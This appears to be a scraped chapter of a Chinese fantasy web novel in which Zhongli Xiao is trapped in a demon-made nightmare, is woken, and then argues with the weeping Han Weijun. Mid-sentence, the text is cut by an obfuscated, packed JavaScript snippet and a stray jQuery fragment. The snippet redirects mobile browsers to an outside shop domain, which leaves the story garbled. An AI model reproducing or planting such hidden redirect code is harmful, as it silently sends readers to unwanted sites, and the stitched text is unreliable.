钟离晓在马车上睡了许久,这会儿没什么睡意。
她问起贝若许城中妖兽的事,想先了解一下再回房歇息。
贝若许抱着手,勾起嘴角坏笑,“先好好休息一晚吧,明日再说也不迟。”
钟离晓怎么可能看不出来他这一肚子坏水,但是她又拿他没办法,只好转头求助明行芷。
“城里……”
明行芷刚张口便被贝若许打住。
贝若许一手捂住她的嘴不让她说话,一手搂住她的腰,微微用力将她往楼上推。
明行芷心里暗骂“幼稚”,但是她并没有反抗,还是跟着他上楼。
钟离晓就一直盯着他两,真想把他们冷漠无情的背影盯出几个窟窿。
贝若许也是挺欠的,明明都已经走过看不着身影了,他还探出个头贱兮兮地对几人说:“早点休息。”
钟离晓:“……”
没办法,最后她还是早早回了房间。
钟离晓到房间的第一件事便是打开窗户,在窗头挂上一串风铃。
每当有风吹过吹起风铃,风铃便会叮当作响。
不知为何,她爱极了这种声响,时常伴它入睡。
钟离晓闭着眼躺床上,努力放空思绪想要快点入睡。
不知过了多久,钟离晓猛地睁开双眼,心里不断叫嚣:睡不着啊……怎么睡不着啊……
无奈之下,钟离晓转头看向窗外。
夜雪城的星星非常亮,她一直觉得没有哪一个地方的星星能有梨月山的亮,这下终于找到了一处。
这么一片群星璀璨的星空,唯独少了些热闹,要是有点烟火气该多好啊,钟离晓心想着。
她又想到谭雪荣口中说的“一夜便白了整座城”,十分想见到那幅盛况。
等这几日把妖兽除了,十月初一那日一定要来看看。
接着,钟离晓又想象着充满烟火气的夜雪城。一幅幅温馨热闹的画面浮现在她的脑海,不知不觉,她又闭上了双眼。
恍惚间,她看见远处似乎有看着像是塔顶的建筑,猜测那会不会是供奉神明的塔楼,心想明日去看看。
后来,钟离晓胡思乱想着终于睡着了。
她如何也想不到,自己好不容易睡着迎来的却是一番噩梦。
另一间房,闭着眼睡得正熟的韩惟君突然睁开眼,只见他着急忙慌地下床跑出门。
“晓晓,晓晓。”
他跑到钟离晓门前一边敲门一边喊她的名字。
韩惟君弄出的声响不小,其他人都闻声出门,而钟离晓屋内却没有丝毫动静。
谭雪荣住在钟离晓隔壁,她最先出来,“怎么了?”
“有妖兽给我造梦了。”韩惟君慌乱解释,眼底全是害怕。
谭雪荣还是第一次见他如此神情,有些震惊,但她还没震惊多久又皱上了眉。
钟离晓虽然爱睡觉,但是睡得比较浅,稍微有些声响便会惊醒。
韩惟君的动静这么大,按理说她不可能没听见。
“师姐该不会也被妖兽找上了吧。”谭雪荣猜测着。
恰巧此时,贝若许和明行芷走了过来,
谭雪荣想起贝若许干的事。他冷冰冰地朝贝若许开口:“所以你知道妖兽造梦的事?”
“晓晓被梦妖找上了?”贝若许有些错愕,他没告诉他们便是想看看他们会不会被梦妖找上,没想到还真有人被找上了。
说完他感觉后背有些发麻,直到看见谭雪荣眼底的不满,他蓦然反应过来。
贝若许:完事,忘了这茬。
在谭雪荣这儿,钟离晓是最重要的,谁惹了钟离晓她和谁急。
别说是大师兄了,就算是庄予诗也在她这儿得不到什么好脸色。
谭雪荣瞪他一眼,连忙推开房门走进去。她往床上看去,果不其然,此时钟离晓正深陷噩梦、全身发抖。
钟离晓正身处一片漆黑,什么也看不着。
周围断断续续地传来咀嚼的声音和液体滴落的声音。
除了那些离她有点远的声音,耳边还有人沙哑叫嚣的声音,那人语气疯癫,声音里满是对他口中那人的不满和怨恨。
“姐姐,你为什么不要我!为什么要我经历这些可怕的事!我好恨你啊……”
“姐姐,你怎么能不要我,我好想……”
“不行!我不想你,我恨你!我好恨你,我做鬼也会一直缠着你……”
……
除了这些,钟离晓还感觉身上时不时传来一阵疼痛,就像是被妖兽撕咬,巨疼无比。
平民百姓常常因为邪魔肆虐做噩梦,他们不想在梦里也担惊受怕,便找上了仙家。
各仙家也有了让人从梦里醒来的办法。想要钟离晓醒过来轻而易举。谭雪荣施完法不过片刻,钟离晓便从噩梦中醒来。
钟离晓醒来的第一件事便是怒目直视着贝若许,她咬牙切齿地开口:“贝、若、许!你是不是故意的!”
贝若许连忙躲到明行芷身后,讪讪开口:“晓晓师妹,如果我说我不是故意的,你信吗?”
明行芷这时候可不惯着他,她使劲掐了下他的腰,贝若许疼得离她远了一些。
接着明行芷抬脚,利落地将他朝钟离晓的方位踹去,她还不忘开口:“活该,自己爱作死别往我身后躲。”
没办法,贝若许最后还是接受了钟离晓和谭雪荣的毒打,期间韩惟君还偷偷地狠踹上几脚。
明行芷看了看韩惟君,最后还是没说些什么。
钟离晓发泄完后,委婉地让贝若许滚了出去。
见状其他人也回房去,只有谭雪荣和韩惟君留了下来。
谭雪荣正是想和钟离晓说他的事,她直接开口赶他出去。
韩惟君瞥了她一眼,没管她。
谭雪荣眼见叫不动他,索性直接开口说了:“他也被妖兽造梦了,但他是自己醒来的。”
钟离晓有些疑惑,她在梦境里没有丝毫自己的意识,靠自己不可能轻易醒来。凭韩惟君真正的实力,他应该能自己醒来。
但是她若是自己醒来,客栈此时应该是一片废墟。
“你怎么醒来的?”
韩惟君开口解释:“妖兽给我造不了梦。”
“为何造不了?”钟离晓没有防备,顺口便问了。
眼见他欲言又止地看了眼谭雪荣,钟离晓突然有股不好的预感。
“有人给我落下过法术,妖兽不能成功给我造梦。”
钟离晓:……
得嘞,就多余问这一嘴。他嘴里的“有人”铁定是自己,真是没事就给自己找罪受。钟离晓心想。
谭雪荣总感觉二人奇奇怪怪的,但是又察觉不出来哪里奇怪。
钟离晓:“你们出去吧。”
谭雪荣点点头回了房,而韩惟君还红着眼眶站在原地,丝毫没打算离开。
“出去。”钟离晓厉声开口。
“我不。”
“你有病啊?”
“你抱抱我。”
钟离晓深吸口气,放大音量,“你是不是有病!我们是何关系你就让我抱你?这合适吗?”
“我害怕。”
钟离晓被这三字气笑了,“做噩梦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727543|208885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的我,又不是你,我都没说害怕,你害怕个屁!你还想让我哄你啊?做梦去吧!”
韩惟君皱眉思索片刻,好像也确实是这个理。
他揉了揉眼眶,使劲将眼泪憋回去。“那我哄你。”
钟离晓:“……”
“我不需要你哄,我只需要你出去。”
韩惟君不管她说什么,只自顾自开口:“我哄你。”
钟离晓忍不住咬牙切齿,“你给我快点麻溜地滚,我不想看见你!”
说完,她一下子躺床上,将被子拉上来盖住脑袋。
“啪嗒……”
“啪嗒……”
一滴滴眼泪从眼眶滑落,没有丝毫征兆便滴到地上。
被子盖住脑袋也挡不住外面的声音,那几声猝不及防落入钟离晓耳中,她一下子拉开被子朝韩惟君看去。
“你是不是在怪我这次来得太晚了,生我的气了。”韩惟君低声自言自语。
他满眼都是泪水,手足无措地站在原地,看着可怜极了。
钟离晓无奈地叹口气,努力放软声音,但是说出的话还是伤人的,“我都说过了,我不是她。她已经死了,你能不能别把我当成她。”
不料韩惟君的反应更为激动,“你就是她!一直都是!”
不是什么转世,一直都是你啊……
“我都没有那些记忆,怎么能是一个人?”
韩惟君不想听她否认,自顾自地低声说:“就是一个人。”
眼见韩惟君哭得越来越凶,丝毫没有停下来的架势,钟离晓忍不住开口:“你能不能别在我房间哭啊?”
韩惟君吸一口鼻子,委屈开口:“你以前见我哭都会抱着我安慰我的。”
钟离晓:“……”
现在的我只想一巴掌拍死你。
她索性转过身背对着韩惟君躺下,用被子死死地捂住脑袋,在被窝里嗡嗡开口:“你哭吧,你爱哭不哭,给我小声点,我要睡觉了。”
说完她便下定决心不管他,她心想:快睡着啊,睡着就不关我的事了。
可是,现实总是与想象背道而驰。钟离晓无论如何也没睡着,耳边时不时就传来吸鼻子的声音,听着实在是烦。
她又一下子翻开被子坐起来,气呼呼地开口:“你别在这儿哭了啊!”
韩惟君又吸了下鼻子,“我好想你。”
也不知他说这些是想干嘛。
“你又不是明日见不着我了,有必要想我吗?”
“那我以后都能见到你吗?”
韩惟君终于停止了哭,眼巴巴地望着钟离晓,一副她不痛意就继续哭的样子。
钟离晓自暴自弃,“能,你以后都能见到我,想见我就可以来见我,行了吧?”
“嗯。”韩惟君重重地点了下头,伸手将眼里和脸上的泪水抹掉。
“那你可以回房去了吧?”
“嗯。”
韩惟君“嗯”完还不见有动作。
钟离晓:“那你还不回去!”
韩惟君支支吾吾的,最后他笨拙地开口:“你早点休息,不要多想噩梦的事,已经没事了,晚安。”
钟离晓轻笑一声。
这人一看便只会捧着颗真心,不会说话。
“知道了,你也快回去睡吧。”
这下,韩惟君终于抬脚出去,轻轻地给钟离晓关上门。
钟离晓又轻笑一声,继续躺下睡觉。
她将头埋被子里,轻声说着:“傻乎乎的。”
没过多久,钟离晓又进入梦乡,这一觉她睡得安稳,没再做噩梦。